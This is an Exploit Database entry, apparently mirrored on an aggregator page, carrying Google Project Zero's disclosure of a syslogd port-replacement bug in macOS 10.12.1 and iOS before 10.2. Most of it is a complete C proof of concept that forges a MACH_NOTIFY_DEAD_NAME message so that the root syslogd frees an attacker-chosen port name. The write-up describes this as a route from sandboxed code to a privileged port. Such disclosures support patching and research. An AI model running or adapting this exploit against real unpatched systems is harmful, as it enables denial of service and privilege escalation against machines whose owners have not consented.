Apple macOS 10.12.1 / iOS < 10.2 - syslogd Arbitrary Port Replacement

• Exploit Database
• 129 阅读

• 作者： Google Security Research
  日期： 2016-12-22
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/40959/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124

  /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=977   syslogd (running as root) hosts the com.apple.system.logger mach service. It&apos;s part of the system.sb sandbox profile and so reachable from a lot of sandboxed contexts.   Here&apos;s a snippet from its mach message handling loop listening on the service port:   ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL); ... if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME) { deadname = (mach_dead_name_notification_t *)request; dispatch_async(asl_server_queue, ^{ cancel_session(deadname->not_port); /* dead name notification includes a dead name right */ mach_port_deallocate(mach_task_self(), deadname->not_port); free(request); });   An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn&apos;t name a port right but is a mach_port_name_t which is just a controlled integer.   An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which the attacker holds a receive right.   Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) */   // ianbeer   #if 0 MacOS/iOS arbitrary port replacement in syslogd   syslogd (running as root) hosts the com.apple.system.logger mach service. It&apos;s part of the system.sb sandbox profile and so reachable from a lot of sandboxed contexts.   Here&apos;s a snippet from its mach message handling loop listening on the service port:   ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL); ... if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME) { deadname = (mach_dead_name_notification_t *)request; dispatch_async(asl_server_queue, ^{ cancel_session(deadname->not_port); /* dead name notification includes a dead name right */ mach_port_deallocate(mach_task_self(), deadname->not_port); free(request); });   An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn&apos;t name a port right but is a mach_port_name_t which is just a controlled integer.   An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which the attacker holds a receive right.   Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) #endif   #include <stdio.h> #include <stdlib.h> #include <unistd.h>   #include <servers/bootstrap.h> #include <mach/mach.h> #include <mach/ndr.h>   char* service_name = "com.apple.system.logger";   struct notification_msg { mach_msg_header_t not_header; NDR_record_tNDR; mach_port_name_t not_port; };   mach_port_t lookup(char* name) { mach_port_t service_port = MACH_PORT_NULL; kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port); if(err != KERN_SUCCESS){ printf("unable to look up %s\n", name); return MACH_PORT_NULL; }   return service_port; }   int main() { kern_return_t err;   mach_port_t service_port = lookup(service_name);   mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy   printf("%d\n", getpid()); printf("service port: %x\n", service_port);   struct notification_msg not = {0};   not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); not.not_header.msgh_size = sizeof(struct notification_msg); not.not_header.msgh_remote_port = service_port; not.not_header.msgh_local_port = MACH_PORT_NULL; not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME   not.NDR = NDR_record;   not.not_port = target_port;   // send the fake notification message err = mach_msg(&not.not_header, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct notification_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("fake notification message: %s\n", mach_error_string(err));   return 0; }